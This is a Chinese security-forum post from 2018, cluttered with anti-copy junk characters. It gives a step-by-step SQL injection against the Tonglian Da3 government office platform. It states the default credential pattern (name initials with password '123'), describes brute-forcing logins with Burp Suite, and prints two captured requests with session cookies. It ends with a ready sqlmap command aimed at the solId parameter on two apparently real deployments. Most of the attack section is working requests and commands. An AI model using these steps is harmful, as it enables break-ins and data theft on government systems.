找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1654|回复: 0
打印 上一主题 下一主题

同联Da3协同办公平台前台通用sql injection漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:15:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

% d$ |6 c7 k! w T# a0 {& O" ]
& v3 t7 X* S, P% ?9 V1 E% d6 e

& z. l. d1 x; J3 l% y% ?

7 Q- b' n: ^2 k; e1 `6 r) S 平台简介: 8 A6 s/ e' c# z+ Z' a

; _7 r5 d/ Y1 r/ b5 M

$ S9 |& \! ?1 R7 K8 E  2 j2 M$ s# e% j* r: E+ o1 g

# X5 j" Y+ `4 |

2 U# M+ @; S9 h( C, W) b 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
1 t$ g& k, U O同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
4 V6 H6 ^* o$ `8 P6 M 同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献! & c8 r X% |; p3 y/ h) z/ ]" Y( }

7 h' ^: ?1 N. h: J$ w

& G" d: _9 `, G  % ?% s i2 {8 p9 S# g6 O" N

& J/ }* c. a3 K6 h: z& u, R( f

9 s1 i4 Z# c- ~0 m) ^& L5 _+ D% z 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址: . v% A8 I& K( z* P- [# w2 S

+ u) W, c0 K# [4 t; w

" z+ T: [# [( Y3 V7 t7 j# q. F! L   ' A! L& G) g" o& P

1 C6 t r* M/ u& \- G2 O

/ @6 U9 Q' z, v9 e http://1.1.1.1:7197/cap-aco/#(案例2-) , v- J6 {! x8 P

% j( \7 h7 {6 F! i& [( [. N& ^

# Z/ e0 I3 p7 g http://www.XXOO.com (案例1-官网网站) 2 [& k$ C& ^" ?* a. G: _3 e

( x E0 r3 f& X* O6 S3 W$ ~' Y9 ~

% w( T( J D& ?5 s' G   ! N, ~: ?- k. |

1 e% i5 ?! u; V" l5 @/ @

( u! S) w+ {4 ^) V3 }3 S6 n 漏洞详情: 3 z( @' T; u j

# v" F7 W( n6 B

! R; S1 @! B! y# L  初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试 " T% o$ n' L o( h7 I

3 `) q. r* v! |& _9 B- m

! i, C" h4 {8 a1 O0 |& S9 V      首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:1 C9 Z3 K* W3 x# @3 l" S G. L' ^

0 c u% }/ Q0 y/ |8 p4 k

{9 n1 \3 ~8 d3 m% P! L6 X6 [+ H  % D ^! Z" L# P& s x

f1 [. @% X, P" _& ] G2 o: Q# l

2 S1 a6 c; q; @3 x  % O% Q& i9 w7 T' ~

5 y) A4 T6 z8 O" o

( |/ r2 ?$ x+ v# ~ y5 v status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下: 4 X5 {$ b6 U: [

& Q; {" U7 T: s6 E' Q. R

' I8 \+ U& {( q# l& @% `: A 1、案例1-官方网站0 a4 y6 G1 Z i

( \" {/ Y" A3 ?

7 F1 Q4 r4 r5 S! X GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1! L9 C7 G3 o s: E

9 L5 a7 R% v7 r7 x/ o3 b" s

$ \( T0 Y+ ~# ?% G4 m1 f5 B' M Host: www.XXOO.com 8 p" A* R' C+ h7 V4 a+ v8 g

9 n, L# Z; n* g5 E0 N

; S& \5 D* U; D, T" S Proxy-Connection: Keep-Alive1 \1 G& _1 [2 G. K

% b" N3 R# I. d' b. q

: [+ |) l/ s0 X Accept: application/json, text/javascript, */*; q=0.01/ a, ?4 `4 V5 _ N3 f6 y! `

% N+ a& R& a# I/ k# [

7 w+ v# J- m4 E+ M6 e- e3 g3 B$ X/ f Accept-Language: zh-CN 9 [* f7 N% k3 I4 q2 i, F

7 e4 c9 m; B. L [6 X; T# t4 P

( X4 M2 _7 V+ m8 j Content-Type: application/json& g, i( X+ P( p% v2 m

1 a1 `" M" [' e2 S# {

; W) o0 B2 K z; r1 D4 D2 ~! n User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko) ~* H. L5 n: H0 v

. J# m; z6 i* P8 z9 m! }

/ Z. J {& @. d0 P X-Requested-With: XMLHttpRequest4 v7 z! M6 _/ v3 E: R. j1 j0 ~! y) s

/ g3 b" r8 B5 S/ Q0 [; C) C( I

$ ^' h& N; e6 [+ `# E) n Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 + W r0 a4 b! Y9 C/ t' ]# d9 r( S

; @; J' [4 a( K9 i0 x& n- D" ^

" v( ]4 Q# c; Q% P! ~. f Accept-Encoding: gzip, deflate, sdch ' D) S2 I- }6 \

8 n4 g7 u Z9 A: R

5 P/ w: Y( j0 j) [' x- n Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 0 ^3 ]5 v" B) g# A8 g) n

. @3 ~7 S; `9 T/ e. t

$ |3 ]0 {0 y+ f6 }4 R! t6 a% c 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 6 J) Y, f; Y3 U( O( w

: J4 w5 [) x; X/ i

# T8 p7 D: X3 H6 e- }8 Y  # P# ~1 z/ }/ o% \& D9 ~" P

2 N6 s; `; k, a0 M

0 b4 ?* I( }! ~  * b/ W" @. [# a/ j; |

u; T7 R" b- ~% K ^

4 [3 Y1 n' f. S1 P n   + R- C8 k, V. |! h/ S9 m

5 m, \: e) c0 d9 }/ W

( y E9 ~% ~( H6 I C) k; H- x7 J" ^  . y8 ?, f0 P. `) P! ]5 x/ U

7 D) N: c ?6 q. H# O% g7 X" C: T

9 A0 G; {) ?; s8 g1 P2 k! ?   / z! ~: X& Y& F' h

5 r+ Q+ L9 W- Z; {& {

6 P! ^* F9 B# b3 E- {) w 2、案例2-某天河云平台8 \; V( e; H, }) ], {% A( q4 k

( F: n8 M6 C' E5 h8 t

2 j0 p% z/ K$ B2 d GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.15 ^3 @% i( p5 G

) }8 h7 y3 x x! H! F

/ _! l* x9 a- b g5 z Host: 1.1.1.:7197/ ]6 |3 Y9 t% S7 r5 x$ p

8 N# O+ ^/ [/ T

9 H( L' f& X4 ~; t Accept: application/json, text/javascript, */*; q=0.01 5 V+ N, p. X; M j

" O+ J O9 @ v* b3 T0 [

3 Y5 i( I; l; e X-Requested-With: XMLHttpRequest8 x. @, U: N8 g4 I

6 z8 ?- F* f/ K6 A. D7 x

$ P8 A' m0 c. n) x" C2 h+ ]4 t3 K3 D* K User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 " d+ i) @0 E, T* y1 y8 t

, B+ g/ y6 ]3 @! T' Y

/ |0 u* U4 {6 W$ n9 a Content-Type: application/json1 ?4 t9 J7 X- X/ b

- d! p/ ~, g+ o! D. ~$ [

' E+ v: |- `! e) \ Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008* A; r3 H6 r E7 j1 d1 w! v- y

m: k& V" |# s5 h* k2 b i

5 s8 G; ]. g9 a Q, p( m6 Q Accept-Language: zh-CN,zh;q=0.8 , W4 C L, h' P2 T2 }4 S ]' H

2 \- b5 H! ~5 Q/ n% E

2 H# @* ?* O0 E# _4 n Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 % y: w4 q& Z+ I! p9 \) m4 }

% O+ g& c. f. p

- y) ^+ \2 _8 {& J. g Connection: close & n' G* x+ t1 p! M

( n, p) W6 E# F( \7 L, e. s0 T

8 L% y8 \8 P5 W, Z% t 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:$ L( Z6 M- [' x9 @, n" o

& ^$ U& H2 M I! j3 ~* T8 x, X6 P# s: r" z) r

0 t9 U8 \, V$ x* C; a. |$ Z: f- J   % M2 ~. U: o4 m+ V+ o

' B" }) b+ z( y' x `+ T

# [* P5 r7 M o4 A; X* X
! F$ p$ i% n1 I! O! B/ \

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表